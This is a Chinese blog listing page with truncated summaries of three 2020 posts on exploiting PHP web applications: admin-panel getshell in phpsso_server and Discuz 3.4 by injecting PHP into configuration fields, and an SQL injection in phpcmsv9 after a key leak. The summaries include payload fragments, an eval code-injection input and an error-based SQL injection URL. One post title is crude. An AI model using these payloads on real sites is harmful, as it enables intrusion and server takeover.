2020年8月26日
phpsso_server 后台getshell
摘要： 第一步:Ucenter api 地址：写入 */phpinfo();// 并提交一次 第二步:F12开干<input type="text" class="input-text" name="data[uc_api','test');'\]" id="uc_api" value=";eval($_P 阅读全文
posted @ 2020-08-26 22:44 射满东城湖 阅读(804) 评论(0) 推荐(0)
phpcmsv9 key泄露导致注入的日屁眼大法
摘要： http://127.0.0.1/key.php?url=www.xxoo.com&key=我是key&id=userid=1%20and%20%28SELECT%201%20FROM%28SELECT%20count%28*%29,concat%28%28SELECT%28SELECT%20con 阅读全文
posted @ 2020-08-26 22:39 射满东城湖 阅读(1550) 评论(0) 推荐(0)
discuz3.4后台getshell的复现
摘要： 进入后台站长-Ucenter设置，设置UC_KEY=随意(一定要记住，后面要用),来闭合 http://127.0.0.1/discuz34/uc_server');phpinfo();// 成功写进配置文件，这里单引号被转移了，我们接下来使用UC_KEY(dz)去调用api/uc.php中的upd 阅读全文
posted @ 2020-08-26 15:02 射满东城湖 阅读(2813) 评论(0) 推荐(0)